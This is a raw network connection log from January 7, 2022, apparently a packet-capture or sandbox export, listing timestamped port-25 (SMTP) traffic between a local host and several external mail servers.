Jan 7, 2022 15:43:15.347215891 CET	49818	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:43:15.375752926 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.375783920 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.375982046 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.474689960 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.474721909 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.474749088 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.474780083 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.474807978 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.474833965 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.474908113 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.474925995 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.474956989 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.474970102 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.474984884 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.474997997 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.475038052 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.475048065 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.475076914 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.475100994 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.475106001 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.475127935 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.475157022 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.475179911 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.475207090 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.475241899 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.475259066 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.475281000 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.475339890 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.475353003 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.475382090 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.475400925 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.475435972 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.475509882 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.475537062 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.475606918 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.475626945 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.475709915 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.475740910 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.475821018 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.475848913 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.475874901 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.475881100 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.475905895 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.475908995 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.475933075 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.475933075 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.475956917 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.475977898 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.518326044 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.518357038 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.518376112 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.518403053 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.518430948 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.518485069 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.518500090 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.518529892 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.518559933 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.518608093 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.518623114 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.518670082 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.518696070 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.518723965 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.518733025 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.518798113 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.518800020 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.518821001 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.518827915 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.518874884 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.518894911 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.518901110 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.518930912 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.518958092 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.518963099 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.518987894 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.519042015 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.519093990 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.519125938 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.519155025 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.519201994 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.519228935 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.519229889 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.519248962 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.519259930 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.519304037 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.519315958 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.519332886 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.519359112 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.519386053 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.519386053 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.519412994 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.519438028 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.519454956 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.519474983 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.519486904 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.519572973 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.519577980 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.519609928 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.519628048 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.519645929 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.519665003 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.519679070 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.519726992 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.519762039 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.519821882 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.519891977 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.519979000 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.520006895 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.520035028 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.520036936 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.520065069 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.520143032 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.520144939 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.520179033 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.520206928 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.520229101 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.520231962 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.520253897 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.520258904 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.520265102 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.520287037 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.520298958 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.520313978 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.520342112 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.520368099 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.520368099 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.520405054 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.520420074 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:15.520483017 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.520512104 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.520538092 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.520731926 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.520757914 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.520787001 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.520812988 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.523087978 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.565501928 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.565551043 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.565591097 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.650382996 CET	25	49818	74.125.200.27	192.168.2.6
Jan 7, 2022 15:43:15.650604963 CET	49818	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:43:15.664197922 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.664309025 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.664633989 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.664688110 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.664725065 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.664736986 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.664745092 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.664757013 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.664998055 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.665013075 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.665070057 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.665113926 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.665234089 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.665246010 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.665322065 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.665338039 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.665349960 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.665404081 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.665561914 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.665575027 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.665683985 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.700458050 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.707804918 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.707824945 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.708121061 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.708334923 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.708517075 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.708535910 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.715090990 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:15.796876907 CET	49805	25	192.168.2.6	193.239.71.112
Jan 7, 2022 15:43:15.850016117 CET	25	49818	74.125.200.27	192.168.2.6
Jan 7, 2022 15:43:15.905060053 CET	49818	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:43:15.958667040 CET	49818	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:43:16.076941013 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:16.266788960 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:16.306715012 CET	25	49818	74.125.200.27	192.168.2.6
Jan 7, 2022 15:43:16.462837934 CET	25	49818	74.125.200.27	192.168.2.6
Jan 7, 2022 15:43:16.462968111 CET	49818	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:43:16.577133894 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:16.766383886 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:16.766489029 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:16.766988039 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:16.813293934 CET	25	49818	74.125.200.27	192.168.2.6
Jan 7, 2022 15:43:16.874418974 CET	49820	25	192.168.2.6	193.239.71.113
Jan 7, 2022 15:43:16.958949089 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:16.958977938 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:16.959325075 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:16.967386961 CET	25	49818	74.125.200.27	192.168.2.6
Jan 7, 2022 15:43:16.967525959 CET	49818	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:43:17.151447058 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:17.151489019 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:17.151554108 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:17.151592016 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:17.151628017 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:17.151707888 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:17.151803970 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:17.152062893 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:17.154201984 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:17.317837000 CET	25	49818	74.125.200.27	192.168.2.6
Jan 7, 2022 15:43:17.341037989 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:17.341100931 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:17.341141939 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:17.341155052 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:17.341171980 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:17.341201067 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:17.341284037 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:17.341399908 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:17.341645956 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:17.343483925 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:17.344237089 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:17.344887972 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:17.486202955 CET	25	49818	74.125.200.27	192.168.2.6
Jan 7, 2022 15:43:17.486330986 CET	49818	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:43:17.486373901 CET	49818	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:43:17.530410051 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:17.530473948 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:17.530585051 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:17.530599117 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:17.530649900 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:17.530756950 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:17.530936003 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:17.530946970 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:17.531075954 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:17.531162024 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:17.531177044 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:17.531236887 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:17.531364918 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:17.533476114 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:17.534064054 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:17.719966888 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:17.720005989 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:17.720160961 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:17.720201969 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:17.834439993 CET	25	49818	74.125.200.27	192.168.2.6
Jan 7, 2022 15:43:17.839545965 CET	25	49818	74.125.200.27	192.168.2.6
Jan 7, 2022 15:43:17.910835981 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:17.958252907 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:17.988620996 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:17.988672018 CET	25	49816	44.239.72.13	192.168.2.6
Jan 7, 2022 15:43:17.988718987 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:17.988794088 CET	49816	25	192.168.2.6	44.239.72.13
Jan 7, 2022 15:43:17.989042997 CET	25	49818	74.125.200.27	192.168.2.6
Jan 7, 2022 15:43:17.989089966 CET	25	49818	74.125.200.27	192.168.2.6
Jan 7, 2022 15:43:17.989177942 CET	49818	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:43:17.989213943 CET	49818	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:43:18.994138956 CET	49821	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:18.994661093 CET	49822	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:18.995026112 CET	49823	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:18.995731115 CET	49824	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:18.995786905 CET	49825	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:18.996165037 CET	49826	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:18.996609926 CET	49827	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.017047882 CET	49828	25	192.168.2.6	98.136.96.93
Jan 7, 2022 15:43:19.097029924 CET	25	49821	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.097158909 CET	49821	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.097434998 CET	25	49823	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.097584009 CET	25	49822	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.097722054 CET	49822	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.098503113 CET	25	49824	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.098618031 CET	25	49825	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.098645926 CET	49823	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.098664999 CET	49824	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.098685026 CET	49825	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.099136114 CET	25	49827	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.099174023 CET	25	49826	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.099235058 CET	49827	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.099272966 CET	49826	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.142874956 CET	25	49828	98.136.96.93	192.168.2.6
Jan 7, 2022 15:43:19.142992973 CET	49828	25	192.168.2.6	98.136.96.93
Jan 7, 2022 15:43:19.201329947 CET	25	49821	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.201452971 CET	49821	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.201972008 CET	25	49822	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.202080011 CET	49822	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.202153921 CET	25	49823	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.202512980 CET	49823	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.202642918 CET	25	49825	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.202661037 CET	25	49824	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.202758074 CET	49824	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.202831030 CET	25	49827	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.202866077 CET	49825	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.203104019 CET	49827	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.203365088 CET	25	49826	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.203489065 CET	49826	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.304352045 CET	25	49821	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.304866076 CET	25	49821	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.304929972 CET	25	49823	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.304977894 CET	49821	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.305030107 CET	25	49822	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.305459976 CET	25	49823	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.305481911 CET	25	49827	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.305497885 CET	25	49822	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.305515051 CET	25	49824	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.305551052 CET	49823	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.305598021 CET	49822	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.305711985 CET	25	49825	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.305911064 CET	25	49827	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.305994034 CET	49827	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.306065083 CET	25	49824	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.306181908 CET	49824	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.306188107 CET	25	49825	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.306282043 CET	49825	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.306436062 CET	25	49826	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.306885004 CET	25	49826	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.307003021 CET	49826	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.314327002 CET	25	49828	98.136.96.93	192.168.2.6
Jan 7, 2022 15:43:19.314438105 CET	49828	25	192.168.2.6	98.136.96.93
Jan 7, 2022 15:43:19.408220053 CET	25	49821	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.408238888 CET	25	49823	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.408453941 CET	25	49827	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.408467054 CET	25	49822	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.409055948 CET	25	49824	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.409071922 CET	25	49823	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.409085035 CET	25	49821	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.409097910 CET	25	49825	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.409178972 CET	49823	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.409212112 CET	49821	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.409224987 CET	49823	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.409245968 CET	25	49823	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.409260035 CET	25	49821	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.409305096 CET	49821	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.409307957 CET	49823	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.409387112 CET	49821	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.409554958 CET	25	49827	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.409569979 CET	25	49822	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.409646034 CET	49827	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.409720898 CET	49827	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.409770966 CET	25	49827	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.409785032 CET	25	49822	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.409821033 CET	49822	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.409822941 CET	49827	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.409936905 CET	49822	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.409945965 CET	25	49826	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.409984112 CET	49822	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.410023928 CET	25	49824	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.410125017 CET	49824	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.410159111 CET	49824	25	192.168.2.6	104.47.51.33
Jan 7, 2022 15:43:19.410264015 CET	25	49825	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.410327911 CET	25	49824	104.47.51.33	192.168.2.6
Jan 7, 2022 15:43:19.410357952 CET	49825	25	192.168.2.6	104.47.51.33
